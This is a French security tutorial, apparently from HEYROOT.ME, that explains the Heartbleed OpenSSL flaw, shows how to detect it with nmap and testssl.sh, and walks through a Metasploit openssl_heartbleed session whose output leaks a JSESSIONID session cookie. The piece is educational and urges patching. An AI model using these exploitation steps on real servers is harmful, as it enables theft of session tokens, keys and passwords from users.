Exploitation de la faille Heartbleed

Transcription

Exploitation de la faille Heartbleed
HEYROOT.ME
Exploitation de la faille
Heartbleed
Version
1.0
Date
23/11/2015
Révision
Initiation du document
Auteur
Shura
HEYROOT.ME
Description
Heartbleed a été révélé en avril 2014, cette vulnérabilité répertoriée CVE-2014-0160
est critique et affecte les échanges normalement sécurisés par SSL/TLS. Ce trou de
sécurité dans la librairie d’OpenSSL a fait couler beaucoup d’encre et est toujours
d’actualité sur les systèmes non à jour. Nous allons voir que par sa facilité d’exploitation
qu’elle est toujours à prendre au très au sérieux.
Heartbleed c’est quoi ?
HeartBleed est une vulnérabilité logicielle du système de chiffrement open source
OpenSSL, elle aurait été présente depuis mars 2012. Pour les moins savants, OpenSSL est
notamment ce qui fait fonctionner le protocole HTTPS permettant les échanges chiffrés
entre un client et un serveur.
Risques
Pour un attaquant exploitant cette faille, il est possible de récupérer des informations
situées dans la mémoire vive des serveurs d'un site web. Les informations récupérées sont
parcellaires, mais peuvent contenir des données confidentielles telles que des clés,
certificats, mots de passe, jetons de session, documents, etc. Tout ceci entièrement à l'insu
de l'utilisateur qui les possède.
Exploitation
Vérifier si votre système est vulnérable
Si votre serveur web n’a pas été mis à jour depuis avril 2014 il est largement temps de
vous poser la question. Les versions inférieures à OpenSSL 1.0.1g sont vulnérables.
Avec nmap
Un script NSE (Nmap Scripting Engine) permet d’effectuer la détection.
# nmap -sV --script=ssl-heartbleed X.X.X.X -p 443
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-23 09:54 CET
Nmap scan report for X.X.X.X
Host is up (0.023s latency).
PORT
STATE SERVICE VERSION
YYYY/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
| ssl-heartbleed:
|
VULNERABLE:
|
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to be
protected by SSL/TLS encryption.
|
State: VULNERABLE
|
Risk factor: High
|
OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for
24 novembre 2014
2
HEYROOT.ME
reading memory of systems protected by the vulnerable OpenSSL versions and could
allow for disclosure of otherwise encrypted confidential information as well as
the encryption keys themselves.
|
|
References:
|
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|
http://www.openssl.org/news/secadv_20140407.txt
|_
http://cvedetails.com/cve/2014-0160/
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.67 seconds
Avec des sites spécialisés
Plusieurs sites mettent à disposition des outils en ligne pour tester notamment la sécurité
OpenSSL de votre serveur web. Une simple recherche sur votre moteur de recherche
préféré vous présentera plusieurs de ces sites. Pour la plupart il ne teste pas que la
vulnérabilité Heartbleed, mais aussi les autres telles que FREAK, Poddle, ou des clés trop
petites, ou encore les algorithmes de chiffrements et de hachage devenus osselets (RC4,
MD5, etc.)
Voici deux exemples :
 https://sslanalyzer.comodoca.com
 https://www.ssllabs.com
Avec testssl.sh
Si vous ouvrez en local sans accès à internet un petit script bash le fera la même chose
que les sites spécialisés pour vous, il s’agit de testssl.sh. Il est fiable et bien pratique, à
mettre absolument sur votre Kali Linux. Vous pourrez le télécharger via les liens suivants.
 https://testssl.sh
 https://github.com/drwetter/testssl.sh/blob/master/testssl.sh
Exploitation avec metasploit
Le Framework metasploit comprend un module openssl_heartbleed qui vous permettra
d’exploiter Heartbleed. Comme toujours avec metasploit c’est très simple à configurer, très
pratique même si on ne sait pas toujours ce que ça fait avant d’avoir mis les mains dans
le code.
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > set VERBOSE true
VERBOSE => true
msf auxiliary(openssl_heartbleed) > set RHOSTS X.X.X.X
RHOSTS => X.X.X.X
msf auxiliary(openssl_heartbleed) > set RPORT YYYY
RPORT => YYYY
msf auxiliary(openssl_heartbleed) > run
N’oubliez pas d’activer le mode verbeux.
Voici un extrait du résultat :
[*]
[*]
[+]
[*]
X.X.X.X:YYYY
X.X.X.X:YYYY
X.X.X.X:YYYY
X.X.X.X:YYYY
-
Sending Heartbeat...
Heartbeat response, 65535 bytes
Heartbeat response with leak
Printable info leaked:
24 novembre 2014
3
HEYROOT.ME
(…)
A://X.X.X.X:YYYY/site/admin/X-GWT-Permutation:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXOrigin: https://X.X.X.X:YYYYUser-Agent: Mozilla/5.0
(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/46.0.2490.86 Safari/537.36Content-Type: text/x-gwt-rpc; charset=UTF8Accept: */*Referer: https://X.X.X.X:YYYY/site/admin/index.phpAccept-Encoding:
gzip, deflateAccept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4Cookie:
JSESSIONID=44CBD270A09AA8A267E6CE654E4B3B4B7
(…)
Nous avons récupéré des éléments parcellaires de la mémoire du serveur et notamment
un bout de requête GET qui contient un jeton de session Java JSESSIONID. Ceci pourrait
permettre selon les cas de figure à usurper l’identité d’une personne connectée.
Tachez d’avoir une politique efficace de mise à jour de vos systèmes !
24 novembre 2014
4